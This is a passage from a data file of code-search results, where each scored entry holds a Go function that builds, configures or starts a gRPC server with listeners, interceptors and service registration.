}, { "docid": "80d4d410799ea9fbf6e8393c0e6c8d31", "score": "0.7092117", "text": "func Serve() (server *grpc.Server, ln net.Listener, err error) {\n\n\t// Logging\n\n\t// Checking for at least one user\n\terr = CreateDefaultUser()\n\n\t// Setup gRPC server\n\tserver = SetupGRPC()\n\n\t// Register RPC Services\n\tRegisterServices(server)\n\n\t// Listen and serve gRPC\n\tServeGRPC(server)\n\n\treturn\n}", "title": "" }, { "docid": "5affefc6d9789981c0e95b585418df8e", "score": "0.70862365", "text": "func (s *GRPCServer) Serve(listener net.Listener) error {\n\tif err := s.initialize(); err != nil {\n\t\treturn err\n\t}\n\n\tdefer func() {\n\t\tlogrus.Infof(\"grpc server ready\")\n\t}()\n\n\treturn s.Server.Serve(listener)\n}", "title": "" }, { "docid": "931b2a5925771087dce0e2a93a0806ed", "score": "0.7085568", "text": "func (s *Server)serve(addr string){\n\tlis, err := net.Listen(\"tcp\", addr)\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to listen: %v\", err)\n\t}\n go func(){\n\t var opts []grpc.ServerOption\n grpcServer := grpc.NewServer(opts...)\n\t pb.RegisterCommpbServer(grpcServer, s)\n if err := grpcServer.Serve(lis); err != nil{\n log.Fatalf(\"fail to start grpc server:%v\",err)\n }\n }()\n}", "title": "" }, { "docid": "8fac8c778fc030122f5c955b2d72a7d7", "score": "0.7070624", "text": "func MakeGRPCServer(endpoints Endpoints) (req pb.RegistrationServer) {\n\treq = &grpcServer{\n\t\tcreateEntry: grpctransport.NewServer(\n\t\t\tendpoints.CreateEntryEndpoint,\n\t\t\tDecodeGRPCCreateEntryRequest,\n\t\t\tEncodeGRPCCreateEntryResponse,\n\t\t),\n\n\t\tdeleteEntry: grpctransport.NewServer(\n\t\t\tendpoints.DeleteEntryEndpoint,\n\t\t\tDecodeGRPCDeleteEntryRequest,\n\t\t\tEncodeGRPCDeleteEntryResponse,\n\t\t),\n\n\t\tfetchEntry: grpctransport.NewServer(\n\t\t\tendpoints.FetchEntryEndpoint,\n\t\t\tDecodeGRPCFetchEntryRequest,\n\t\t\tEncodeGRPCFetchEntryResponse,\n\t\t),\n\n\t\tupdateEntry: grpctransport.NewServer(\n\t\t\tendpoints.UpdateEntryEndpoint,\n\t\t\tDecodeGRPCUpdateEntryRequest,\n\t\t\tEncodeGRPCUpdateEntryResponse,\n\t\t),\n\n\t\tlistByParentID: grpctransport.NewServer(\n\t\t\tendpoints.ListByParentIDEndpoint,\n\t\t\tDecodeGRPCListByParentIDRequest,\n\t\t\tEncodeGRPCListByParentIDResponse,\n\t\t),\n\n\t\tlistBySelector: grpctransport.NewServer(\n\t\t\tendpoints.ListBySelectorEndpoint,\n\t\t\tDecodeGRPCListBySelectorRequest,\n\t\t\tEncodeGRPCListBySelectorResponse,\n\t\t),\n\n\t\tlistBySpiffeID: grpctransport.NewServer(\n\t\t\tendpoints.ListBySpiffeIDEndpoint,\n\t\t\tDecodeGRPCListBySpiffeIDRequest,\n\t\t\tEncodeGRPCListBySpiffeIDResponse,\n\t\t),\n\n\t\tcreateFederatedBundle: grpctransport.NewServer(\n\t\t\tendpoints.CreateFederatedBundleEndpoint,\n\t\t\tDecodeGRPCCreateFederatedBundleRequest,\n\t\t\tEncodeGRPCCreateFederatedBundleResponse,\n\t\t),\n\n\t\tlistFederatedBundles: grpctransport.NewServer(\n\t\t\tendpoints.ListFederatedBundlesEndpoint,\n\t\t\tDecodeGRPCListFederatedBundlesRequest,\n\t\t\tEncodeGRPCListFederatedBundlesResponse,\n\t\t),\n\n\t\tupdateFederatedBundle: grpctransport.NewServer(\n\t\t\tendpoints.UpdateFederatedBundleEndpoint,\n\t\t\tDecodeGRPCUpdateFederatedBundleRequest,\n\t\t\tEncodeGRPCUpdateFederatedBundleResponse,\n\t\t),\n\n\t\tdeleteFederatedBundle: grpctransport.NewServer(\n\t\t\tendpoints.DeleteFederatedBundleEndpoint,\n\t\t\tDecodeGRPCDeleteFederatedBundleRequest,\n\t\t\tEncodeGRPCDeleteFederatedBundleResponse,\n\t\t),\n\t}\n\treturn req\n}", "title": "" }, { "docid": "0a03353a01ba7598b185f2da2d59e666", "score": "0.703144", "text": "func main() {\n\n\tsrv := grpc.NewServer()\n\tserver := &calculatorServiceServer{}\n\n\tcalculator.RegisterCalculatorServiceServer(srv, server)\n\tlisten, err := net.Listen(\"tcp\", \":8888\")\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tfmt.Println(\"Server started\")\n\tlog.Fatal(srv.Serve(listen))\n\n}", "title": "" }, { "docid": "65e7b50faa330c1e529ab28358a34c9f", "score": "0.70217353", "text": "func NewGRPCServer(config *Config, opts ...grpc.ServerOption) (*grpc.Server, error) {\n\t// We specify the logger’s name to differentiate the server logs from other logs\n\t// in our service. Then we add a “grpc.time_ns” field to our structured logs to log\n\t// the duration of each request in nanoseconds.\n\tlogger := zap.L().Named(\"server\")\n\tzapOpts := []grpc_zap.Option{\n\t\tgrpc_zap.WithDurationField(\n\t\t\tfunc(duration time.Duration) zapcore.Field {\n\t\t\t\treturn zap.Int64(\"grpc.time_ns\", duration.Nanoseconds())\n\t\t\t},\n\t\t),\n\t}\n\n\t// We’ve configured OpenCensus to always sample the traces because we’re\n\t// developing our service and we want all of our requests traced.\n\ttrace.ApplyConfig(trace.Config{DefaultSampler: trace.AlwaysSample()})\n\n\t// The views specify what stats OpenCensus will collect. The default server views\n\t// track stats on:\n\t// • Received bytes per RPC\n\t// • Sent bytes per RPC\n\t// • Latency\n\t// • Completed RPCs\n\terr := view.Register(ocgrpc.DefaultServerViews...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// 1. We hook up our authenticate() interceptor to our gRPC server so that our server\n\t// identifies the subject of each RPC to kick off the authorization process.\n\t// 2. We configure gRPC to apply the Zap interceptors that log the gRPC\n\t// calls and attach OpenCensus as the server’s stat handler so that OpenCensus\n\t// can record stats on the server’s request handling.\n\topts = append(opts,\n\t\tgrpc.StreamInterceptor(\n\t\t\tgrpc_middleware.ChainStreamServer(\n\t\t\t\tgrpc_ctxtags.StreamServerInterceptor(),\n\t\t\t\tgrpc_zap.StreamServerInterceptor(logger, zapOpts...),\n\t\t\t\tgrpc_auth.StreamServerInterceptor(authenticate),\n\t\t\t),\n\t\t),\n\t\tgrpc.UnaryInterceptor(\n\t\t\tgrpc_middleware.ChainUnaryServer(\n\t\t\t\tgrpc_ctxtags.UnaryServerInterceptor(),\n\t\t\t\tgrpc_zap.UnaryServerInterceptor(logger, zapOpts...),\n\t\t\t\tgrpc_auth.UnaryServerInterceptor(authenticate),\n\t\t\t),\n\t\t),\n\t\tgrpc.StatsHandler(&ocgrpc.ServerHandler{}),\n\t)\n\n\tgsrv := grpc.NewServer(opts...)\n\tsrv, err := newgrpcServer(config)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tapi.RegisterLogServer(gsrv, srv)\n\treturn gsrv, nil\n}", "title": "" }, { "docid": "22ce49ad6628b3868b970406ddd50935", "score": "0.7015601", "text": "func ServeGrpc() {\n\n\tl, err := net.Listen(\"tcp\", GrpcPort)\n\tif err!=nil {\n\t\tlog.WithFields(log.Fields{\"err\":err}).Error(\"cant listen\")\n\t\treturn\n\t}\n\n\ts := gRPC.NewServer()\n\tdgproto.RegisterDataServiceServer(s, DataReq{})\n\tif err = s.Serve(l); err != nil {\n\t\tlog.WithFields(log.Fields{\"err\":err}).Error(\"error serving\")\n\t}\n}", "title": "" }, { "docid": "688dfb33858e2fe2e1ef93020e799f73", "score": "0.69962096", "text": "func NewGRPCServer(ib ImageBuildPusher, dl DataLayer, ep EventBusProducer, ec EventBusConsumer, mc MetricsCollector, queuesize uint, concurrency uint, logger *log.Logger) *GrpcServer {\n\tgrs := &GrpcServer{\n\t\tib: ib,\n\t\tdl: dl,\n\t\tep: ep,\n\t\tec: ec,\n\t\tmc: mc,\n\t\tlogger: logger,\n\t\tworkerChan: make(chan *workerRequest, queuesize),\n\t\tqsize: queuesize,\n\t\twcnt: concurrency,\n\t}\n\tgrs.runWorkers()\n\treturn grs\n}", "title": "" }, { "docid": "dc593af530f1254dbee176a873d1d825", "score": "0.6971592", "text": "func (n *Node) serve(listener net.Listener) error {\n\n\trpcServer := grpc.NewServer()\n\tRegisterNodeServer(rpcServer, n)\n\treflection.Register(rpcServer)\n\treturn rpcServer.Serve(listener)\n\n}", "title": "" }, { "docid": "fa9b572e60944764d7a98e23650f57e7", "score": "0.69689834", "text": "func (s *TestGRPCServer) Serve(t testing.TB) {\n\t// need to run grpcServer.Serve in different goroutine\n\tgo func() {\n\t\tvar err error\n\t\t// for needs to fix the flaky behavior of grpcServer.Serve\n\t\tfor i := 0; i < 100; i++ {\n\t\t\tif err = s.Server.Serve(s.Listener); err != nil {\n\t\t\t\ttime.Sleep(time.Millisecond * 100)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t\trequire.Error(t, err, \"server exited with error\")\n\t}()\n}", "title": "" }, { "docid": "399957e82d2dce4d07a337e6c17ddcf7", "score": "0.69676715", "text": "func newGRPCServer(_ context.Context, cfg *config.Config, opts ...grpc.ServerOption) (*grpc.Server, error) {\n\tserverOpts := []grpc.ServerOption{\n\t\tgrpc.StreamInterceptor(grpc_prometheus.StreamServerInterceptor),\n\t\tgrpc.UnaryInterceptor(grpc_prometheus.UnaryServerInterceptor),\n\t}\n\tserverOpts = append(serverOpts, opts...)\n\tgrpcServer := grpc.NewServer(serverOpts...)\n\tgrpc_prometheus.Register(grpcServer)\n\tflyteService.RegisterAdminServiceServer(grpcServer, adminservice.NewAdminServer(cfg.KubeConfig, cfg.Master))\n\treturn grpcServer, nil\n}", "title": "" }, { "docid": "22bd1b65011f21aed9fbb14b1e9026b9", "score": "0.6966982", "text": "func main() {\n\ts := grpc.NewServer()\n\tsrv := &adder.GRPCServer{}\n\tapi.RegisterAdderServer(s, srv)\n\n\tl, err := net.Listen(\"tcp\", \":8080\")\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tif err := s.Server(l); err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n}", "title": "" }, { "docid": "fabdbdeff6aec4ed04b4a49d81cd8471", "score": "0.69450605", "text": "func run(ctx context.Context, addr string) error {\n\t// build server\n\tsrv := grpc.NewServer()\n\treflection.Register(srv)\n\t_, err := NewServer(srv)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// listen and serve\n\tl, err := (&net.ListenConfig{}).Listen(ctx, \"tcp\", addr)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer l.Close()\n\treturn srv.Serve(l)\n}", "title": "" }, { "docid": "a60bb3ed48e8f4cfd027c4b7a4273f2f", "score": "0.69354194", "text": "func (m *Main) newGRPCServer() (*grpc.Server, error) {\n\tstats := monitoring.NewRPCStatsInterceptor(clock.System, m.StatsPrefix, m.Registry.MetricFactory)\n\tti := interceptor.New(m.Registry.AdminStorage, m.Registry.QuotaManager, m.QuotaDryRun, m.Registry.MetricFactory)\n\n\tserverOpts := []grpc.ServerOption{\n\t\tgrpc.UnaryInterceptor(grpc_middleware.ChainUnaryServer(\n\t\t\tstats.Interceptor(),\n\t\t\tinterceptor.ErrorWrapper,\n\t\t\tti.UnaryInterceptor,\n\t\t)),\n\t}\n\tserverOpts = append(serverOpts, m.ExtraOptions...)\n\n\t// Let credentials.NewServerTLSFromFile handle the error case when only one of the flags is set.\n\tif m.TLSCertFile != \"\" || m.TLSKeyFile != \"\" {\n\t\tserverCreds, err := credentials.NewServerTLSFromFile(m.TLSCertFile, m.TLSKeyFile)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tserverOpts = append(serverOpts, grpc.Creds(serverCreds))\n\t}\n\n\ts := grpc.NewServer(serverOpts...)\n\n\treturn s, nil\n}", "title": "" }, { "docid": "eb0be030505245946272f2e6f328a24f", "score": "0.69091004", "text": "func (s *Server) Serve() error {\n\ts.Server = grpc.NewServer(s.opts...)\n\t//s.Func(s)\n\ts.register()\n\n\ts.DumpServiceInfo()\n\tfor _, hooker := range s.hookersBeforeServe {\n\t\thooker(s)\n\t}\n\n\ts.running <- struct{}{}\n\tdefer func() {\n\t\t<-s.running\n\t}()\n\n\treturn s.Server.Serve(s.listener)\n}", "title": "" }, { "docid": "1ec3a69da386ce009c7e06796322056e", "score": "0.6901677", "text": "func (s *Server) Run() error {\n\tlogger, err := util.NewDefaultLogger()\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"failed to create logger\")\n\t}\n\n\tl, err := net.Listen(\"tcp\", s.address)\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"failed to listen on %s\", s.address)\n\t}\n\n\tgrpc_zap.ReplaceGrpcLogger(logger)\n\tgrpc_prometheus.EnableHandlingTimeHistogram()\n\n\ts.grpc = grpc.NewServer(\n\t\tgrpc.UnaryInterceptor(\n\t\t\tgrpc_middleware.ChainUnaryServer(\n\t\t\t\tutil.UnaryServerInterceptor(),\n\t\t\t\tutil.UnaryServerSleeperInterceptor(time.Second*3),\n\t\t\t\tgrpc_validator.UnaryServerInterceptor(),\n\t\t\t\tgrpc_prometheus.UnaryServerInterceptor,\n\t\t\t\tgrpc_zap.UnaryServerInterceptor(logger),\n\t\t\t\tgrpc_recovery.UnaryServerInterceptor(),\n\t\t\t),\n\t\t),\n\t)\n\n\tgwmux := runtime.NewServeMux()\n\t_, port, err := net.SplitHostPort(s.address)\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"invalid address %s\", s.address)\n\t}\n\n\tif err := order.RegisterOrderServiceHandlerFromEndpoint(context.Background(), gwmux, net.JoinHostPort(\"127.0.0.1\", port), []grpc.DialOption{grpc.WithInsecure()}); err != nil {\n\t\treturn errors.Wrap(err, \"failed to register grpc gateway\")\n\t}\n\n\torder.RegisterOrderServiceServer(s.grpc, s.store)\n\n\tmux := http.NewServeMux()\n\tmux.Handle(\"/metrics\", promhttp.Handler())\n\tmux.HandleFunc(\"/healthz\", healthz)\n\tmux.Handle(\"/\", gwmux)\n\n\ts.server = &http.Server{\n\t\tHandler: h2c.Server{\n\t\t\tHandler: http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\tif r.ProtoMajor == 2 &&\n\t\t\t\t\tstrings.Contains(r.Header.Get(\"Content-Type\"), \"application/grpc\") {\n\t\t\t\t\ts.grpc.ServeHTTP(w, r)\n\t\t\t\t} else {\n\t\t\t\t\tmux.ServeHTTP(w, r)\n\t\t\t\t}\n\t\t\t}),\n\t\t},\n\t}\n\n\tif err := s.server.Serve(l); err != nil {\n\t\tif err != http.ErrServerClosed {\n\t\t\treturn errors.Wrap(err, \"failed to start http server\")\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "09a17481a5389c81de7f4784e3de3ff6", "score": "0.69003713", "text": "func NewGRPCServer(ctx context.Context,\n\tconnFactory *secureconn.Factory, l logger.Logger,\n\te engine.Engine, migrationsConfig migration.Config,\n\tdataMigrationsConfig datamigration.Config,\n\teventServiceAddress string) (*grpc.Server, error) {\n\n\t// Note(sr): we're buffering one bool, as NewPostgresPolicyServer writes\n\t// to this before we've got readers\n\tv2Chan := make(chan bool, 1)\n\tswitcher := NewSwitch(v2Chan)\n\n\tv1Server, err := v1.NewPostgresServer(ctx, l, e, migrationsConfig)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not initialize v1 server\")\n\t}\n\n\tv2PolServer, err := v2.NewPostgresPolicyServer(ctx, l, e, migrationsConfig,\n\t\tdataMigrationsConfig, v1Server.Storage(), v2Chan)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not initialize v2 policy server\")\n\t}\n\n\teventServiceClient, err := createEventServiceConnection(connFactory, eventServiceAddress)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not create event service client\")\n\t}\n\n\tv2ProjectsServer, err := v2.NewPostgresProjectsServer(ctx, l, migrationsConfig,\n\t\tdataMigrationsConfig, e, eventServiceClient)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not initialize v2 projects server\")\n\t}\n\n\tv2AuthzServer, err := v2.NewAuthzServer(l, e)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not initialize v2 authz server\")\n\t}\n\n\tsubjectPurgeServer, err := v2.NewSubjectPurgeServer(ctx, l, v1Server, v2PolServer)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not initialize subject purge server\")\n\t}\n\n\t// This function determines the log level based on the returned status code:\n\t// We divert from the default only by pushing non-error-returns into debug\n\t// logs. See DefaultCodeToLevel for the rest of the mapping.\n\tlevelFunc := func(c codes.Code) logrus.Level {\n\t\tswitch c {\n\t\tcase codes.OK:\n\t\t\treturn logrus.DebugLevel\n\t\tdefault:\n\t\t\treturn grpc_logrus.DefaultCodeToLevel(c)\n\t\t}\n\t}\n\n\tlogrusEntry := l.NewEntry()\n\n\tlogrusOpts := []grpc_logrus.Option{\n\t\tgrpc_logrus.WithDecider(func(m string, _ error) bool {\n\t\t\treturn m != \"/grpc.health.v1.Health/Check\"\n\t\t}),\n\t\tgrpc_logrus.WithLevels(levelFunc),\n\t}\n\n\tg := connFactory.NewServer(\n\t\tgrpc.UnaryInterceptor(\n\t\t\tgrpc_middleware.ChainUnaryServer(\n\t\t\t\ttracing.ServerInterceptor(tracing.GlobalTracer()),\n\t\t\t\tgrpc_logrus.UnaryServerInterceptor(logrusEntry, logrusOpts...),\n\t\t\t\tswitcher.Interceptor,\n\t\t\t\tInputValidationInterceptor(),\n\t\t\t\tv2PolServer.EngineUpdateInterceptor(),\n\t\t\t),\n\t\t),\n\t)\n\n\t// register all services\n\thealth.RegisterHealthServer(g, health.NewService())\n\tauthz.RegisterAuthorizationServer(g, v1Server)\n\tapi_v2.RegisterPoliciesServer(g, v2PolServer)\n\tapi_v2.RegisterProjectsServer(g, v2ProjectsServer)\n\tapi_v2.RegisterAuthorizationServer(g, v2AuthzServer)\n\tcommon.RegisterSubjectPurgeServer(g, subjectPurgeServer)\n\treflection.Register(g)\n\treturn g, nil\n}", "title": "" }, { "docid": "5de32acfc4eb80fc021c9b37046aa9b9", "score": "0.6880454", "text": "func NewGRPCServer(config *Config, grpcOpts ...grpc.ServerOption) (\n\t*grpc.Server,\n\terror,\n) {\n\tlogger := zap.L().Named(\"server\")\n\tzapOpts := []grpc_zap.Option{\n\t\tgrpc_zap.WithDurationField(\n\t\t\tfunc(duration time.Duration) zapcore.Field {\n\t\t\t\treturn zap.Int64(\n\t\t\t\t\t\"grpc.time_ns\",\n\t\t\t\t\tduration.Nanoseconds(),\n\t\t\t\t)\n\t\t\t},\n\t\t),\n\t}\n\n\ttrace.ApplyConfig(trace.Config{DefaultSampler: trace.AlwaysSample()})\n\terr := view.Register(ocgrpc.DefaultServerViews...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tgrpcOpts = append(grpcOpts,\n\t\tgrpc.StreamInterceptor(\n\t\t\tgrpc_middleware.ChainStreamServer(\n\t\t\t\tgrpc_ctxtags.StreamServerInterceptor(),\n\t\t\t\tgrpc_zap.StreamServerInterceptor(logger, zapOpts...),\n\t\t\t\tgrpc_auth.StreamServerInterceptor(authenticate),\n\t\t\t)), grpc.UnaryInterceptor(grpc_middleware.ChainUnaryServer(\n\t\t\tgrpc_ctxtags.UnaryServerInterceptor(),\n\t\t\tgrpc_zap.UnaryServerInterceptor(logger, zapOpts...),\n\t\t\tgrpc_auth.UnaryServerInterceptor(authenticate),\n\t\t)),\n\t\tgrpc.StatsHandler(&ocgrpc.ServerHandler{}),\n\t)\n\tgsrv := grpc.NewServer(grpcOpts...)\n\n\thsrv := health.NewServer()\n\thsrv.SetServingStatus(\"\", healthpb.HealthCheckResponse_SERVING)\n\thealthpb.RegisterHealthServer(gsrv, hsrv)\n\n\tsrv, err := newgrpcServer(config)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tapi.RegisterLogServer(gsrv, srv)\n\treturn gsrv, nil\n}", "title": "" }, { "docid": "ef7c5875b6a44675977f67fd326857e0", "score": "0.6869917", "text": "func GRPC() error {\n\tfmt.Println(\"gRPC server started\")\n\treturn nil\n}", "title": "" }, { "docid": "ac175ca01f1e1e1b7963b508277e1454", "score": "0.6866005", "text": "func (r *runtime) startGRPCServer() {\n\tr.log.Info(\"starting GRPC server\")\n\tr.grpcServer = rpc.NewGRPCServer(r.config.BrokerBase.GRPC)\n\n\t// bind grpc handlers\n\tr.bindGRPCHandlers()\n\n\tgo func() {\n\t\tif err := r.grpcServer.Start(); err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t}()\n}", "title": "" }, { "docid": "b4df20346c445be374671dba35e5508d", "score": "0.6865903", "text": "func NewGRPCServer(endpoints endpoints.Endpoints, logger log.Logger) pb.MathServiceServer {\n return &gRPCServer{\n add: gt.NewServer(\n endpoints.Add,\n decodeMathRequest,\n encodeMathResponse,\n ),\n }\n}", "title": "" }, { "docid": "167210500a5bd711c9b95b87530bbd94", "score": "0.68550193", "text": "func makeGRPCServer(ctx context.Context, s server.Runner, endpoints *Endpoints, mdGetter metadata.Getter) v1.EchoServiceServer {\n\treturn &grpcServer{\n\t\techo: grpcTransport.NewTransport(\n\t\t\tctx,\n\t\t\tendpoints.EchoEndpoint,\n\t\t),\n\t}\n}", "title": "" }, { "docid": "6b2adfe454f1265d94652dcde80a4081", "score": "0.685111", "text": "func (s *GrpcServer) Serve() {\n\tlisten, err := net.Listen(\"tcp\", listenAddr)\n\tif err != nil {\n\t\tlogrus.Fatal(err)\n\t}\n\taddr := listen.Addr().String()\n\ts.address <- addr\n\tgrpcServer := grpc.NewServer()\n\tRegisterDriverServer(grpcServer, s)\n\treflection.Register(grpcServer)\n\tlogrus.Debugf(\"RPC GrpcServer listening on address %s\", addr)\n\tif err := grpcServer.Serve(listen); err != nil {\n\t\tlogrus.Fatal(err)\n\t}\n\treturn\n}", "title": "" }, { "docid": "65907926fef32006f07df020452b0274", "score": "0.6840906", "text": "func NewGRPC() *grpc.Server {\n\treturn InitGRPC()\n}", "title": "" }, { "docid": "f14c1ebe6fed25159cee96463e3b572f", "score": "0.68154544", "text": "func main() {\n\tconn, err := net.Listen(\"tcp\", \":50000\")\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\ts := grpc.NewServer()\n\tpb.RegisterGreeterServer(s, &server{})\n\n\treflection.Register(s)\n\tif err := s.Serve(conn); err != nil {\n\t\tlog.Fatalf(\"Failed to start server: %v\", err)\n\t}\n}", "title": "" }, { "docid": "d7cd0307d652b86fc04fdbc3283397ac", "score": "0.6813759", "text": "func (s *Server) Serve(network, url string) error {\n\tlog.WithField(\"addr\", url).WithField(\"net\", network).Infoln(\"starting GRPC server\")\n\n\tl, err := net.Listen(network, url)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tgo func() {\n\t\tif err := s.s.Serve(l); err != nil {\n\t\t\tlogrus.WithError(err).Errorln(\"rusk mock server encountered an error\")\n\t\t}\n\t}()\n\n\tlog.Infoln(\"GRPC server started\")\n\treturn nil\n}", "title": "" }, { "docid": "a0385a14b243d841a4360ac5a570d402", "score": "0.68060726", "text": "func Serve(serveOpts ServeOptions) error {\n\t// Create the grpc server and register the reflection server (for now, useful for discovery\n\t// using grpcurl) or similar.\n\tgrpcSrv := grpc.NewServer()\n\treflection.Register(grpcSrv)\n\n\t// Create the http server, register our core service followed by any plugins.\n\tlistenAddr := fmt.Sprintf(\":%d\", serveOpts.Port)\n\tctx, cancel := context.WithCancel(context.Background())\n\tdefer cancel()\n\tgw, err := gatewayMux()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Failed to create gateway: %v\", err)\n\t}\n\tgwArgs := gwHandlerArgs{\n\t\tctx: ctx,\n\t\tmux: gw,\n\t\taddr: listenAddr,\n\t\tdialOptions: []grpc.DialOption{grpc.WithInsecure()},\n\t}\n\n\t// Create the core.plugins server which handles registration of plugins,\n\t// and register it for both grpc and http.\n\tpluginsServer, err := NewPluginsServer(serveOpts, grpcSrv, gwArgs)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to initialize plugins server: %v\", err)\n\t}\n\tplugins.RegisterPluginsServiceServer(grpcSrv, pluginsServer)\n\terr = plugins.RegisterPluginsServiceHandlerFromEndpoint(gwArgs.ctx, gwArgs.mux, gwArgs.addr, gwArgs.dialOptions)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to register core.plugins handler for gateway: %v\", err)\n\t}\n\n\t// Create the core.packages server and register it for both grpc and http.\n\tpackages.RegisterPackagesServiceServer(grpcSrv, NewPackagesServer(pluginsServer.packagesPlugins))\n\terr = packages.RegisterPackagesServiceHandlerFromEndpoint(gwArgs.ctx, gwArgs.mux, gwArgs.addr, gwArgs.dialOptions)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to register core.packages handler for gateway: %v\", err)\n\t}\n\n\tlis, err := net.Listen(\"tcp\", listenAddr)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to listen: %v\", err)\n\t}\n\n\t// Multiplex the connection between grpc and http.\n\t// Note: due to a change in the grpc protocol, it's no longer possible to just match\n\t// on the simpler cmux.HTTP2HeaderField(\"content-type\", \"application/grpc\"). More details\n\t// at https://github.com/soheilhy/cmux/issues/64\n\tmux := cmux.New(lis)\n\tgrpcLis := mux.MatchWithWriters(cmux.HTTP2MatchHeaderFieldSendSettings(\"content-type\", \"application/grpc\"))\n\tgrpcwebLis := mux.MatchWithWriters(cmux.HTTP2MatchHeaderFieldSendSettings(\"content-type\", \"application/grpc-web\"))\n\thttpLis := mux.Match(cmux.Any())\n\n\twebrpcProxy := grpcweb.WrapServer(grpcSrv,\n\t\tgrpcweb.WithOriginFunc(func(origin string) bool { return true }),\n\t\tgrpcweb.WithWebsockets(true),\n\t\tgrpcweb.WithWebsocketOriginFunc(func(req *http.Request) bool { return true }),\n\t)\n\n\thttpSrv := &http.Server{\n\t\tHandler: http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\tif webrpcProxy.IsGrpcWebRequest(r) || webrpcProxy.IsAcceptableGrpcCorsRequest(r) || webrpcProxy.IsGrpcWebSocketRequest(r) {\n\t\t\t\twebrpcProxy.ServeHTTP(w, r)\n\t\t\t} else {\n\t\t\t\tgwArgs.mux.ServeHTTP(w, r)\n\t\t\t}\n\t\t}),\n\t}\n\n\tgo func() {\n\t\terr := grpcSrv.Serve(grpcLis)\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"failed to serve: %v\", err)\n\t\t}\n\t}()\n\tgo func() {\n\t\terr := grpcSrv.Serve(grpcwebLis)\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"failed to serve: %v\", err)\n\t\t}\n\t}()\n\tgo func() {\n\t\terr := httpSrv.Serve(httpLis)\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"failed to serve: %v\", err)\n\t\t}\n\t}()\n\n\tif serveOpts.UnsafeLocalDevKubeconfig {\n\t\tlog.Warning(\"Using the local Kubeconfig file instead of the actual in-cluster's config. This is not recommended except for development purposes.\")\n\t}\n\n\tlog.Infof(\"Starting server on :%d\", serveOpts.Port)\n\tif err := mux.Serve(); err != nil {\n\t\treturn fmt.Errorf(\"failed to serve: %v\", err)\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "8b5e07844af6c5bbc1ccaaf2f152462b", "score": "0.68040913", "text": "func NewGRPCServer(logger log.Logger) (*grpc.Server, error) {\n\t// Use middleware to handle recover\n\topts := []grpc_recovery.Option{\n\t\tgrpc_recovery.WithRecoveryHandler(func(p interface{}) error {\n\t\t\tlogger.Log(\"error\", \"recovering from panic\", \"cause\", p, \"trace\", string(debug.Stack()))\n\t\t\treturn status.Errorf(codes.Internal, \"%s\", p)\n\t\t}),\n\t}\n\n\t// Initialize handler\n\tcTicker := coinmarketcap.NewCTicker(logger, http.DefaultClient)\n\n\t// Initialize GRPC server and pass middleware opts\n\ts := grpc.NewServer(\n\t\tgrpc_middleware.WithUnaryServerChain(\n\t\t\tgrpc_recovery.UnaryServerInterceptor(opts...),\n\t\t),\n\t)\n\n\tapi.RegisterApiServer(s, &server{\n\t\tCTicker: cTicker,\n\t})\n\n\treturn s, nil\n}", "title": "" }, { "docid": "04d02c8ac8fb5184228eedcea4fd9f85", "score": "0.67928565", "text": "func GetGRPCServer(ctx context.Context, lsCtx loraserver.Context, validator auth.Validator, grpcOpts []grpc.ServerOption) *grpc.Server {\n\tserver := grpc.NewServer(grpcOpts...)\n\n\tpb.RegisterApplicationServer(server, NewApplicationAPI(lsCtx, validator))\n\tpb.RegisterNodeServer(server, NewNodeAPI(lsCtx, validator))\n\tpb.RegisterChannelListServer(server, NewChannelListAPI(lsCtx, validator))\n\tpb.RegisterChannelServer(server, NewChannelAPI(lsCtx, validator))\n\tpb.RegisterNodeSessionServer(server, NewNodeSessionAPI(lsCtx, validator))\n\treturn server\n}", "title": "" }, { "docid": "0ba4d85af447e353a0d93edcadfaf4b3", "score": "0.6780037", "text": "func RunGRPCServer(ctx context.Context, address string, locality string) error {\n\tlogger := logging.WithValuesFromContext(ctx, logging.Logger)\n\n\tif len(*jwtAudiences) == 0 {\n\t\t// TODO: Make this flag required once all parties can set audiences\n\t\t// correctly.\n\t\tlogger.Warn(\"missing required --accepted_jwt_audiences\")\n\t}\n\n\tl, err := net.Listen(\"tcp\", address)\n\tif err != nil {\n\t\treturn stacktrace.Propagate(err, \"Error attempting to listen at %s\", address)\n\t}\n\tdefer func() {\n\t\tif err := l.Close(); err != nil {\n\t\t\tlogger.Error(\"Failed to close listener\", zap.String(\"address\", address), zap.Error(err))\n\t\t}\n\t}()\n\n\tvar (\n\t\tridServer *rid.Server\n\t\tscdServer 